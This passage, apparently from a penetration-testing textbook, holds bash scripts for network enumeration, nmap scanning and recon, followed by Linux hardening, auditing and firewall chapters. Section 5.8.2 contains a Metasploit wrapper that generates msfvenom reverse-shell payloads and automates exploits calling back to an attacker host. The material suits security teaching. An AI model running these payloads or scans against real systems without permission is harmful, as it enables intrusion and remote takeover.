    ttl=$(ping -c 1 -W $TIMEOUT "$host" 2>/dev/null | grep "ttl=" | sed 's/.*ttl=//' | cut -d' ' -f1)
    
    if [ -n "$ttl" ]; then
        if [ $ttl -le 64 ]; then
            echo "Likely Linux/Unix (TTL: $ttl)" >> "$output"
        elif [ $ttl -le 128 ]; then
            echo "Likely Windows (TTL: $ttl)" >> "$output"
        elif [ $ttl -le 255 ]; then
            echo "Likely Cisco/Network device (TTL: $ttl)" >> "$output"
        else
            echo "Unknown OS (TTL: $ttl)" >> "$output"
        fi
    fi
    
    # Additional fingerprinting via nmap if available
    if command -v nmap >/dev/null; then
        nmap -O -T4 -Pn --osscan-guess "$host" 2>/dev/null | grep "OS details" >> "$output"
    fi
}

# Main execution
main() {
    local network=${1:-"192.168.1.0/24"}
    
    log "Starting network enumeration on $network"
    
    discover_hosts "$network"
    
    if [ -f "$OUTPUT_DIR/hosts.txt" ]; then
        while read -r host; do
            scan_ports "$host"
            
            if [ -f "$OUTPUT_DIR/${host}_ports.txt" ]; then
                while read -r port; do
                    detect_services "$host" "$port"
                done < "$OUTPUT_DIR/${host}_ports.txt"
            fi
            
            fingerprint_os "$host"
        done < "$OUTPUT_DIR/hosts.txt"
    fi
    
    log "Enumeration complete. Results in $OUTPUT_DIR"
    
    # Generate summary
    echo
    echo "=== SCAN SUMMARY ==="
    echo "Hosts found: $(wc -l < "$OUTPUT_DIR/hosts.txt")"
    echo "Open ports total: $(cat "$OUTPUT_DIR"/*_ports.txt 2>/dev/null | wc -l)"
    echo
    echo "Detailed results in: $OUTPUT_DIR"
}

# Run if executed directly
if [ "$0" = "$BASH_SOURCE" ]; then
    main "$@"
fi

5.8 Building Security Tool Wrappers

5.8.1 Nmap Wrapper

Advanced Nmap Wrapper:

#!/bin/bash

# Nmap wrapper with advanced features

# Configuration
SCAN_DIR="$HOME/nmap_scans"
DEFAULT_PROFILE="quick"

# Create scan directory
mkdir -p "$SCAN_DIR"

usage() {
    cat << EOF
Usage: $0 [options] <target>

Options:
    -p <profile>   Scan profile (quick|full|vuln|udp|all)
    -o <name>      Output name (default: timestamp)
    -v             Verbose output
    -h             Show this help

Profiles:
    quick:   Common ports quick scan
    full:    Full port scan with service detection
    vuln:    Vulnerability scan
    udp:     UDP scan
    all:     All scan types
EOF
    exit 1
}

# Scan profiles
run_quick_scan() {
    local target=$1
    local output=$2
    
    log "Running quick scan on $target"
    nmap -T4 -F -sV -oA "$output" "$target"
}

run_full_scan() {
    local target=$1
    local output=$2
    
    log "Running full scan on $target"
    nmap -T4 -p- -sC -sV -O -oA "$output" "$target"
}

run_vuln_scan() {
    local target=$1
    local output=$2
    
    log "Running vulnerability scan on $target"
    nmap -T4 -sV --script vuln -oA "$output" "$target"
}

run_udp_scan() {
    local target=$1
    local output=$2
    
    log "Running UDP scan on $target (this may take a while)"
    nmap -T4 -sU --top-ports 100 -oA "$output" "$target"
}

# Logging function
log() {
    echo "[$(date '+%Y-%m-%d %H:%M:%S')] $*"
}

# Generate report
generate_report() {
    local output_base=$1
    local report_file="${output_base}_report.html"
    
    log "Generating HTML report: $report_file"
    
    cat > "$report_file" << EOF
<!DOCTYPE html>
<html>
<head>
    <title>Nmap Scan Report</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; }
        h1 { color: #333; }
        h2 { color: #666; margin-top: 30px; }
        pre { background: #f5f5f5; padding: 10px; border-radius: 5px; }
        .timestamp { color: #999; font-size: 0.9em; }
    </style>
</head>
<body>
    <h1>Nmap Scan Report</h1>
    <p class="timestamp">Generated: $(date)</p>
    <p class="timestamp">Target: $target</p>
    
    <h2>Scan Results</h2>
    <pre>$(cat "${output_base}.nmap" 2>/dev/null)</pre>
    
    <h2>Open Ports Summary</h2>
    <pre>$(grep -E "^[0-9]+/tcp" "${output_base}.nmap" 2>/dev/null | sort)</pre>
    
    <h2>Service Versions</h2>
    <pre>$(grep -E "Service Info|OS details" "${output_base}.nmap" 2>/dev/null)</pre>
</body>
</html>
EOF
    
    log "Report generated: $report_file"
}

# Main execution
main() {
    local profile="$DEFAULT_PROFILE"
    local output_name=""
    local verbose=0
    local target=""
    
    # Parse options
    while getopts "p:o:vh" opt; do
        case $opt in
            p) profile="$OPTARG" ;;
            o) output_name="$OPTARG" ;;
            v) verbose=1 ;;
            h) usage ;;
            *) usage ;;
        esac
    done
    
    shift $((OPTIND-1))
    target="$1"
    
    if [ -z "$target" ]; then
        echo "Error: Target required"
        usage
    fi
    
    # Set output name
    if [ -z "$output_name" ]; then
        output_name="${target}_${profile}_$(date +%Y%m%d_%H%M%S)"
    fi
    
    output_base="$SCAN_DIR/$output_name"
    
    log "Starting scan with profile: $profile"
    log "Output base: $output_base"
    
    # Run selected profile
    case "$profile" in
        quick)
            run_quick_scan "$target" "$output_base"
            ;;
        full)
            run_full_scan "$target" "$output_base"
            ;;
        vuln)
            run_vuln_scan "$target" "$output_base"
            ;;
        udp)
            run_udp_scan "$target" "$output_base"
            ;;
        all)
            run_quick_scan "$target" "${output_base}_quick"
            run_full_scan "$target" "${output_base}_full"
            run_vuln_scan "$target" "${output_base}_vuln"
            run_udp_scan "$target" "${output_base}_udp"
            ;;
        *)
            echo "Error: Unknown profile '$profile'"
            usage
            ;;
    esac
    
    # Generate report
    generate_report "$output_base"
    
    log "Scan complete"
    
    # Open report if GUI available
    if [ -n "$DISPLAY" ] && command -v xdg-open >/dev/null; then
        xdg-open "${output_base}_report.html"
    fi
}

# Run if executed directly
if [ "$0" = "$BASH_SOURCE" ]; then
    main "$@"
fi

5.8.2 Metasploit Wrapper

Metasploit Automation Script:

#!/bin/bash

# Metasploit wrapper for automated tasks

MSF_DIR="$HOME/msf_workspace"
mkdir -p "$MSF_DIR"

usage() {
    cat << EOF
Usage: $0 <command> [options]

Commands:
    init             Initialize workspace
    scan <target>    Run automated scan
    exploit <target> <port> <exploit>
    shell <target>   Get reverse shell
    list             List exploits
EOF
    exit 1
}

# Initialize workspace
init_workspace() {
    local workspace="workspace_$(date +%Y%m%d)"
    
    cat > "$MSF_DIR/init.rc" << EOF
workspace -a $workspace
workspace $workspace
db_status
exit
EOF
    
    msfconsole -q -r "$MSF_DIR/init.rc"
    echo "Workspace initialized: $workspace"
}

# Automated scan
auto_scan() {
    local target=$1
    local rcfile="$MSF_DIR/scan_${target}.rc"
    
    cat > "$rcfile" << EOF
workspace -a scan_${target}
workspace scan_${target}
db_nmap -sV -O $target
hosts
services
vulns
exit
EOF
    
    msfconsole -q -r "$rcfile"
}

# Generate reverse shell payload
gen_shell() {
    local lhost=$1
    local lport=$2
    local type=${3:-linux}
    
    case "$type" in
        linux)
            msfvenom -p linux/x64/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f elf -o "$MSF_DIR/shell.elf"
            ;;
        windows)
            msfvenom -p windows/x64/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f exe -o "$MSF_DIR/shell.exe"
            ;;
        php)
            msfvenom -p php/reverse_php LHOST=$lhost LPORT=$lport -o "$MSF_DIR/shell.php"
            ;;
        python)
            msfvenom -p python/shell_reverse_tcp LHOST=$lhost LPORT=$lport -o "$MSF_DIR/shell.py"
            ;;
    esac
    
    echo "Payload generated: $MSF_DIR/shell.$type"
}

# Run exploit
run_exploit() {
    local target=$1
    local port=$2
    local exploit=$3
    local rcfile="$MSF_DIR/exploit_${target}.rc"
    
    cat > "$rcfile" << EOF
use $exploit
set RHOSTS $target
set RPORT $port
set PAYLOAD generic/shell_reverse_tcp
set LHOST $(ip route get 1 | awk '{print $NF;exit}')
set LPORT 4444
run
exit
EOF
    
    msfconsole -q -r "$rcfile"
}

# List exploits
list_exploits() {
    local search=$1
    
    if [ -n "$search" ]; then
        msfconsole -q -x "search $search; exit"
    else
        msfconsole -q -x "show exploits; exit" | head -50
    fi
}

# Main
case "$1" in
    init)
        init_workspace
        ;;
    scan)
        [ -z "$2" ] && echo "Target required" && exit 1
        auto_scan "$2"
        ;;
    shell)
        [ -z "$2" ] && echo "LHOST required" && exit 1
        [ -z "$3" ] && echo "LPORT required" && exit 1
        gen_shell "$2" "$3" "$4"
        ;;
    exploit)
        [ -z "$2" ] && echo "Target required" && exit 1
        [ -z "$3" ] && echo "Port required" && exit 1
        [ -z "$4" ] && echo "Exploit required" && exit 1
        run_exploit "$2" "$3" "$4"
        ;;
    list)
        list_exploits "$2"
        ;;
    *)
        usage
        ;;
esac

5.8.3 Recon Automation Framework

Complete Recon Framework:

#!/bin/bash

# Comprehensive reconnaissance automation framework

# Configuration
WORKSPACE="$HOME/recon_workspace"
THREADS=20
TIMEOUT=5

# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color

# Create workspace
setup_workspace() {
    local target=$1
    local dir="$WORKSPACE/$target/$(date +%Y%m%d_%H%M%S)"
    mkdir -p "$dir"/{osint,scanning,web,exploitation,loot}
    echo "$dir"
}

# Logging
log() {
    echo -e "[$(date '+%Y-%m-%d %H:%M:%S')] $*" | tee -a "$workspace/recon.log"
}

info() {
    echo -e "${BLUE}[INFO]${NC} $*" | tee -a "$workspace/recon.log"
}

success() {
    echo -e "${GREEN}[SUCCESS]${NC} $*" | tee -a "$workspace/recon.log"
}

warn() {
    echo -e "${YELLOW}[WARN]${NC} $*" | tee -a "$workspace/recon.log"
}

error() {
    echo -e "${RED}[ERROR]${NC} $*" | tee -a "$workspace/recon.log"
}

# OSINT Phase
phase_osint() {
    local domain=$1
    local outdir="$workspace/osint"
    
    info "Starting OSINT phase for $domain"
    
    # WHOIS lookup
    log "Performing WHOIS lookup..."
    whois "$domain" > "$outdir/whois.txt" 2>&1
    
    # DNS enumeration
    log "DNS enumeration..."
    {
        dig "$domain" ANY +noall +answer > "$outdir/dns_any.txt"
        dig "$domain" NS +short > "$outdir/ns_servers.txt"
        dig "$domain" MX +short > "$outdir/mx_records.txt"
        dig "$domain" TXT +short > "$outdir/txt_records.txt"
    } 2>/dev/null
    
    # Subdomain discovery
    log "Subdomain discovery..."
    
    # Using common tools if available
    if command -v sublist3r >/dev/null; then
        sublist3r -d "$domain" -o "$outdir/subdomains_sublist3r.txt" >/dev/null 2>&1
    fi
    
    if command -v amass >/dev/null; then
        amass enum -d "$domain" -o "$outdir/subdomains_amass.txt" >/dev/null 2>&1
    fi
    
    # Brute force with common wordlist
    if [ -f /usr/share/wordlists/dirb/common.txt ]; then
        while read -r sub; do
            host "$sub.$domain" >/dev/null 2>&1 && echo "$sub.$domain" >> "$outdir/subdomains_brute.txt"
        done < /usr/share/wordlists/dirb/common.txt
    fi
    
    # Combine and sort subdomains
    cat "$outdir"/subdomains_*.txt 2>/dev/null | sort -u > "$outdir/subdomains_all.txt"
    
    success "OSINT phase complete. Found $(wc -l < "$outdir/subdomains_all.txt") subdomains"
}

# Scanning Phase
phase_scanning() {
    local target=$1
    local outdir="$workspace/scanning"
    
    info "Starting scanning phase for $target"
    
    # Check if target is IP or domain
    if [[ $target =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
        # IP address
        log "Target is IP: $target"
    else
        # Domain - resolve to IP
        target_ip=$(dig +short "$target" | head -1)
        if [ -z "$target_ip" ]; then
            error "Could not resolve $target"
            return 1
        fi
        log "Resolved $target to $target_ip"
        echo "$target_ip" > "$outdir/target_ip.txt"
    fi
    
    # Port scanning
    log "Running port scan on $target_ip..."
    
    # Quick port scan
    nmap -T4 -F -oA "$outdir/quick_scan" "$target_ip" >/dev/null 2>&1
    
    # Full port scan
    log "Running full port scan (this may take a while)..."
    nmap -T4 -p- -oA "$outdir/full_scan" "$target_ip" >/dev/null 2>&1
    
    # Service detection
    if [ -f "$outdir/full_scan.gnmap" ]; then
        open_ports=$(grep -oP '\d+/open' "$outdir/full_scan.gnmap" | cut -d/ -f1 | tr '\n' ',' | sed 's/,$//')
        
        if [ -n "$open_ports" ]; then
            log "Found open ports: $open_ports"
            log "Running service detection..."
            nmap -sV -sC -p "$open_ports" -oA "$outdir/service_scan" "$target_ip" >/dev/null 2>&1
        fi
    fi
    
    # Vulnerability scanning
    log "Running vulnerability scan..."
    nmap --script vuln -p "$open_ports" -oA "$outdir/vuln_scan" "$target_ip" >/dev/null 2>&1
    
    success "Scanning phase complete"
}

# Web Application Phase
phase_web() {
    local target=$1
    local outdir="$workspace/web"
    
    info "Starting web application phase for $target"
    
    # Check for web servers
    web_ports=$(grep -E "80/open|443/open|8080/open|8443/open" "$workspace/scanning/service_scan.gnmap" 2>/dev/null | cut -d/ -f1)
    
    if [ -n "$web_ports" ]; then
        for port in $web_ports; do
            protocol=$([ "$port" = "443" ] || [ "$port" = "8443" ] && echo "https" || echo "http")
            url="${protocol}://$target:$port"
            
            log "Testing $url"
            
            # HTTP headers
            curl -s -I -L "$url" > "$outdir/headers_port${port}.txt" 2>&1
            
            # Directory brute force
            if command -v gobuster >/dev/null; then
                gobuster dir -u "$url" -w /usr/share/wordlists/dirb/common.txt -o "$outdir/dirs_port${port}.txt" >/dev/null 2>&1
            fi
            
            # Technology detection
            if command -v whatweb >/dev/null; then
                whatweb "$url" > "$outdir/whatweb_port${port}.txt" 2>&1
            fi
            
            # SSL/TLS check for HTTPS
            if [ "$protocol" = "https" ]; then
                echo | openssl s_client -connect "$target:$port" 2>/dev/null | openssl x509 -text > "$outdir/cert_port${port}.txt"
            fi
        done
        
        success "Web phase complete"
    else
        warn "No web servers detected"
    fi
}

# Generate Report
generate_report() {
    local target=$1
    local report="$workspace/recon_report.html"
    
    info "Generating HTML report..."
    
    cat > "$report" << EOF
<!DOCTYPE html>
<html>
<head>
    <title>Reconnaissance Report: $target</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 30px; background: #f5f5f5; }
        h1 { color: #2c3e50; border-bottom: 2px solid #3498db; }
        h2 { color: #34495e; margin-top: 30px; }
        .section { background: white; padding: 20px; margin: 20px 0; border-radius: 5px; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
        .timestamp { color: #7f8c8d; font-size: 0.9em; }
        pre { background: #ecf0f1; padding: 10px; border-radius: 3px; overflow-x: auto; }
        .success { color: #27ae60; }
        .warning { color: #e67e22; }
        .error { color: #c0392b; }
        table { border-collapse: collapse; width: 100%; }
        th, td { border: 1px solid #bdc3c7; padding: 8px; text-align: left; }
        th { background: #34495e; color: white; }
    </style>
</head>
<body>
    <h1>Reconnaissance Report: $target</h1>
    <p class="timestamp">Generated: $(date)</p>
    <p class="timestamp">Workspace: $workspace</p>
    
    <div class="section">
        <h2>Target Information</h2>
        <table>
            <tr><th>Property</th><th>Value</th></tr>
            <tr><td>Target</td><td>$target</td></tr>
            <tr><td>Resolution</td><td>$(cat "$workspace/scanning/target_ip.txt" 2>/dev/null || echo "N/A")</td></tr>
        </table>
    </div>
    
    <div class="section">
        <h2>OSINT Summary</h2>
        <p>Subdomains found: $(wc -l < "$workspace/osint/subdomains_all.txt" 2>/dev/null || echo "0")</p>
        <pre>$(head -20 "$workspace/osint/subdomains_all.txt" 2>/dev/null)</pre>
        <p><a href="osint/">View detailed OSINT results</a></p>
    </div>
    
    <div class="section">
        <h2>Open Ports</h2>
        <pre>$(grep -E "^[0-9]+/tcp" "$workspace/scanning/service_scan.nmap" 2>/dev/null | sort)</pre>
    </div>
    
    <div class="section">
        <h2>Service Versions</h2>
        <pre>$(grep -E "Service Info|OS details" "$workspace/scanning/service_scan.nmap" 2>/dev/null)</pre>
    </div>
    
    <div class="section">
        <h2>Web Applications</h2>
        <pre>$(ls -la "$workspace/web/" 2>/dev/null || echo "No web applications found")</pre>
    </div>
    
    <div class="section">
        <h2>Potential Vulnerabilities</h2>
        <pre>$(grep -E "VULNERABLE|CVE-" "$workspace/scanning/vuln_scan.nmap" 2>/dev/null | head -20)</pre>
    </div>
    
    <div class="section">
        <h2>Reconnaissance Log</h2>
        <pre>$(tail -50 "$workspace/recon.log")</pre>
    </div>
    
    <p class="timestamp">End of report</p>
</body>
</html>
EOF
    
    success "Report generated: $report"
    
    # Open in browser if GUI available
    if [ -n "$DISPLAY" ] && command -v xdg-open >/dev/null; then
        xdg-open "$report"
    fi
}

# Main execution
main() {
    local target=$1
    
    if [ -z "$target" ]; then
        echo "Usage: $0 <target>"
        exit 1
    fi
    
    # Check required tools
    local required_tools=("nmap" "dig" "host" "curl")
    local missing=()
    
    for tool in "${required_tools[@]}"; do
        if ! command -v "$tool" >/dev/null; then
            missing+=("$tool")
        fi
    done
    
    if [ ${#missing[@]} -gt 0 ]; then
        error "Missing required tools: ${missing[*]}"
        error "Install with: apt install nmap dnsutils curl"
        exit 1
    fi
    
    # Setup workspace
    workspace=$(setup_workspace "$target")
    info "Workspace created: $workspace"
    
    # Run phases
    phase_osint "$target"
    phase_scanning "$target"
    phase_web "$target"
    
    # Generate report
    generate_report "$target"
    
    success "Reconnaissance complete!"
    info "Results saved in: $workspace"
}

# Run if executed directly
if [ "$0" = "$BASH_SOURCE" ]; then
    main "$@"
fi

PART II — CORE LINUX & SHELL MASTERY

Chapter 6 — Advanced Linux Administration

6.1 System Hardening

System hardening is the process of securing a Linux system by reducing its attack surface and implementing security best practices. For penetration testers, understanding hardening is crucial both for securing their own Kali systems and for identifying misconfigurations in target environments.

6.1.1 Operating System Hardening Fundamentals

Principle of Least Privilege: Every process and user should have only the minimum privileges necessary to function. This fundamental security principle guides all hardening efforts.

Attack Surface Reduction: The fewer services, packages, and features running on a system, the fewer potential vulnerabilities exist. Each enabled service represents a potential entry point for attackers.

Defense in Depth: Multiple layers of security controls ensure that if one layer fails, others still provide protection. This includes firewalls, file permissions, authentication controls, and monitoring.

6.1.2 Initial System Hardening Steps

Minimal Installation Philosophy:

# During installation, select only necessary packages
# Avoid installing unnecessary metapackages
apt install --no-install-recommends package-name

# Remove unnecessary packages after installation
apt autoremove --purge

# Identify and remove unused services
systemctl list-unit-files --type=service --state=enabled
systemctl disable --now bluetooth.service cups.service avahi-daemon.service

Secure Boot Parameters:

# Edit GRUB configuration
cat >> /etc/default/grub << EOF
# Security hardening options
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash slab_nomerge init_on_alloc=1 init_on_free=1 page_alloc.shuffle=1 pti=on randomize_kstack_offset=on spec_store_bypass_disable=on spectre_v2=on"
EOF

update-grub

Filesystem Mount Options:

# Secure mount options in /etc/fstab
# /tmp should be mounted with noexec,nosuid,nodev
tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev,size=2G 0 0

# /var/tmp similarly
tmpfs /var/tmp tmpfs defaults,noexec,nosuid,nodev,size=1G 0 0

# /home with nodev,nosuid
/dev/sda5 /home ext4 defaults,nodev,nosuid 0 2

# Apply without reboot
mount -o remount /tmp
mount -o remount /var/tmp

Kernel Hardening with sysctl:

# /etc/sysctl.d/99-hardening.conf

# IP Spoofing protection
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1

# Ignore ICMP redirects
net.ipv4.conf.all.accept_redirects = 0
net.ipv6.conf.all.accept_redirects = 0
net.ipv4.conf.all.secure_redirects = 0
net.ipv4.conf.all.send_redirects = 0

# Ignore source routed packets
net.ipv4.conf.all.accept_source_route = 0
net.ipv6.conf.all.accept_source_route = 0

# SYN flood protection
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_syn_retries = 2
net.ipv4.tcp_synack_retries = 2

# IP forwarding disabling (unless needed)
net.ipv4.ip_forward = 0
net.ipv6.conf.all.forwarding = 0

# Log Martians (spoofed, source-routed, redirects)
net.ipv4.conf.all.log_martians = 1

# Ignore ICMP pings
net.ipv4.icmp_echo_ignore_all = 1
net.ipv4.icmp_ignore_bogus_error_responses = 1

# Apply settings
sysctl -p /etc/sysctl.d/99-hardening.conf

6.1.3 User Account Hardening

Password Policy Configuration:

# Install libpam-pwquality
apt install libpam-pwquality

# Configure password quality
cat >> /etc/security/pwquality.conf << EOF
minlen = 14
dcredit = -1
ucredit = -1
ocredit = -1
lcredit = -1
minclass = 4
maxrepeat = 3
gecoscheck = 1
EOF

# Configure password aging in /etc/login.defs
PASS_MAX_DAYS 90
PASS_MIN_DAYS 7
PASS_WARN_AGE 14

Account Lockout Policy:

# Configure pam_tally2 for login failures
cat >> /etc/pam.d/common-auth << EOF
auth required pam_tally2.so deny=5 onerr=fail unlock_time=900
EOF

cat >> /etc/pam.d/common-account << EOF
account required pam_tally2.so
EOF

Sudoers Hardening:

# Secure sudo configuration
visudo -f /etc/sudoers.d/hardening

# Add these lines:
Defaults    env_reset
Defaults    mail_badpass
Defaults    secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
Defaults    use_pty
Defaults    logfile="/var/log/sudo.log"
Defaults    log_input,log_output
Defaults    requiretty

# Restrict sudo to specific users and commands
user ALL=(ALL) ALL  # Too permissive - avoid
user ALL=(ALL) /usr/bin/systemctl restart nginx, /usr/bin/journalctl  # Better

6.1.4 SSH Hardening

Comprehensive SSH Hardening:

# /etc/ssh/sshd_config hardening
cat >> /etc/ssh/sshd_config << 'EOF'

# Protocol and Port
Protocol 2
Port 2222  # Change from default

# Authentication
PermitRootLogin prohibit-password
PubkeyAuthentication yes
PasswordAuthentication no
PermitEmptyPasswords no
ChallengeResponseAuthentication no
KerberosAuthentication no
GSSAPIAuthentication no
UsePAM yes

# Key types
HostKey /etc/ssh/ssh_host_ed25519_key
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_ecdsa_key

# Access control
AllowUsers analyst john
AllowGroups sshusers
DenyUsers root bin daemon
DenyGroups guests

# Security settings
LoginGraceTime 30
MaxAuthTries 3
MaxSessions 10
MaxStartups 10:30:60
ClientAliveInterval 300
ClientAliveCountMax 2
PermitUserEnvironment no
PrintMotd no
PrintLastLog yes
Banner /etc/issue.net

# Forwarding
AllowTcpForwarding no
X11Forwarding no
AllowAgentForwarding no
PermitTunnel no

# Logging
SyslogFacility AUTH
LogLevel VERBOSE

# Ciphers and algorithms (strong only)
KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com
MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com
EOF

# Create login banner
cat > /etc/issue.net << EOF
*******************************************************************
NOTICE: This system is for authorized use only. All activities are
monitored and logged. Unauthorized access is prohibited and will be
prosecuted to the fullest extent of the law.
*******************************************************************
EOF

# Restart SSH
systemctl restart sshd

6.1.5 Filesystem Integrity and Monitoring

AIDE (Advanced Intrusion Detection Environment):

# Install AIDE
apt install aide aide-common

# Configure AIDE
cat >> /etc/aide/aide.conf << EOF
# Define rules
DATABASE_OUT=file:/var/lib/aide/aide.db
DATABASE_IN=file:/var/lib/aide/aide.db

# What to check
/bin Content
/sbin Content
/etc Content
/usr/bin Content
/usr/sbin Content
/boot Content
/lib Content
/lib64 Content
/opt Content

# Exclude some directories
!/var/log
!/var/tmp
!/tmp
!/proc
!/sys
!/dev
!/run
!/mnt
!/media
!/home  # Optional - exclude home directories
EOF

# Initialize database
aideinit
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db

# Check integrity
aide --check

# Add to cron for regular checks
echo "0 5 * * * /usr/bin/aide --check | mail -s 'AIDE Daily Report' root" >> /etc/crontab

File Integrity Monitoring with Tripwire (alternative):

# Install Tripwire
apt install tripwire

# Configure during installation
# Set site and local passphrases
twadmin --create-polfile /etc/tripwire/twpol.txt

# Initialize database
tripwire --init

# Check integrity
tripwire --check

# Update database after legitimate changes
tripwire --update --twrfile /var/lib/tripwire/report/$(ls -t /var/lib/tripwire/report/ | head -1)

6.1.6 Process Accounting and Auditing

Process Accounting:

# Install process accounting
apt install acct

# Enable accounting
systemctl enable acct
systemctl start acct

# View accounting data
sa          # Summary of commands run
lastcomm    # Last commands executed
lastcomm user    # Commands by specific user
lastcomm command # Usage of specific command

Comprehensive Auditing with auditd:

# Install auditd
apt install auditd audispd-plugins

# Configure auditd
cat > /etc/audit/rules.d/hardening.rules << EOF
# Remove existing rules
-D

# Buffer size
-b 8192

# Failure mode
-f 1

# Monitor time changes
-w /etc/localtime -p wa -k time-change
-w /etc/timezone -p wa -k time-change

# Monitor user/group changes
-w /etc/passwd -p wa -k identity
-w /etc/group -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/sudoers -p wa -k identity

# Monitor network configuration
-w /etc/network/ -p wa -k network
-w /etc/hosts -p wa -k network
-w /etc/resolv.conf -p wa -k network

# Monitor system configuration
-w /etc/sysctl.conf -p wa -k sysctl
-w /etc/security/ -p wa -k security

# Monitor login/logout
-w /var/log/lastlog -p wa -k logins
-w /var/run/faillock/ -p wa -k logins

# Monitor process creation
-a always,exit -S execve -k process

# Monitor file access
-a always,exit -F arch=b64 -S open,openat,creat -F exit=-EACCES -k access
-a always,exit -F arch=b64 -S open,openat,creat -F exit=-EPERM -k access

# Monitor module loading
-w /sbin/insmod -p x -k modules
-w /sbin/rmmod -p x -k modules
-w /sbin/modprobe -p x -k modules
-a always,exit -S init_module -S delete_module -k modules

# Mount operations
-a always,exit -F arch=b64 -S mount -S umount2 -k mount

# Record all commands as root
-a exit,always -F arch=b64 -S execve -F euid=0 -k rootcmd
EOF

# Apply rules
augenrules --load
systemctl enable auditd
systemctl restart auditd

# Search audit logs
ausearch -k identity    # Search by key
ausearch -ua 1000       # Search by user ID
ausearch -ts today      # Time-based search
aureport --login        # Login report
aureport --summary      # Summary report

6.1.7 Network Service Hardening

TCP Wrappers (legacy but still useful):

# /etc/hosts.allow
sshd: 192.168.1.0/24, 10.0.0.0/8
vsftpd: .example.com

# /etc/hosts.deny
ALL: ALL  # Deny everything not explicitly allowed

Port Knocking for service protection:

# Install knockd
apt install knockd

# Configure knockd
cat > /etc/knockd.conf << EOF
[options]
    logfile = /var/log/knockd.log

[openSSH]
    sequence    = 7000,8000,9000
    seq_timeout = 5
    command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    tcpflags    = syn

[closeSSH]
    sequence    = 9000,8000,7000
    seq_timeout = 5
    command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    tcpflags    = syn
EOF

# Enable and start knockd
systemctl enable knockd
systemctl start knockd

6.1.8 Container and Application Hardening

Docker Security:

# Run containers with minimal privileges
docker run --read-only --tmpfs /tmp --cap-drop ALL --cap-add NET_BIND_SERVICE nginx

# Use Docker Bench Security
git clone https://github.com/docker/docker-bench-security.git
cd docker-bench-security
./docker-bench-security.sh

# Scan images for vulnerabilities
docker scan image-name
trivy image image-name

AppArmor Profiles for Applications:

# Create custom AppArmor profile for nginx
cat > /etc/apparmor.d/usr.sbin.nginx << EOF
#include <tunables/global>

/usr/sbin/nginx {
    #include <abstractions/base>
    #include <abstractions/nameservice>
    
    capability dac_override,
    capability net_bind_service,
    capability setgid,
    capability setuid,
    
    /etc/nginx/** r,
    /var/log/nginx/** w,
    /var/lib/nginx/** rwk,
    /run/nginx.pid rw,
    /usr/sbin/nginx mr,
    
    deny /etc/shadow r,
    deny /etc/security/** r,
}
EOF

# Load profile
apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx

6.2 Firewall Configuration (iptables, nftables)

Firewalls are essential for controlling network traffic and protecting systems from unauthorized access.

6.2.1 iptables Fundamentals

iptables Architecture:

iptables organizes rules into tables, chains, and rules:

  • Tables: filter (packet filtering), nat (Network Address Translation), mangle (packet modification), raw (connection tracking)
  • Chains: PREROUTING, INPUT, FORWARD, OUTPUT, POSTROUTING
  • Rules: Match criteria + target (ACCEPT, DROP, REJECT, LOG)

Basic iptables Commands:

# List rules
iptables -L -n -v
iptables -t nat -L -n -v

# Flush all rules
iptables -F
iptables -t nat -F
iptables -t mangle -F

# Delete specific rule
iptables -D INPUT 5  # Delete rule 5 in INPUT chain

# Set default policies
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT

Building a Stateful Firewall:

#!/bin/bash
# Basic stateful firewall script

# Flush existing rules
iptables -F
iptables -X
iptables -t nat -F
iptables -t mangle -F

# Set default policies
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT

# Allow loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

# Allow established connections
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# SSH (rate limited)
iptables -A INPUT -p tcp --dport 2222 -m state --state NEW -m recent --set
iptables -A INPUT -p tcp --dport 2222 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 -j DROP
iptables -A INPUT -p tcp --dport 2222 -j ACCEPT

# Web server (if applicable)
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT

# DNS
iptables -A INPUT -p udp --dport 53 -j ACCEPT
iptables -A INPUT -p tcp --dport 53 -j ACCEPT

# ICMP (limited)
iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 1/second -j ACCEPT

# Log dropped packets
iptables -A INPUT -j LOG --log-prefix "IPTABLES-DROP: " --log-level 4

# Save rules
iptables-save > /etc/iptables/rules.v4

Advanced iptables Rules:

# Connection limiting
iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j REJECT

# String matching (layer 7 filtering)
iptables -A FORWARD -p tcp --dport 80 -m string --string "cmd.exe" --algo bm -j DROP

# Time-based rules
iptables -A INPUT -p tcp --dport 22 -m time --timestart 09:00 --timestop 17:00 --weekdays Mon,Tue,Wed,Thu,Fri -j ACCEPT

# GeoIP blocking (requires xtables-addons)
iptables -A INPUT -m geoip --src-cc CN,RU -j DROP

# Port knocking
iptables -N KNOCKING
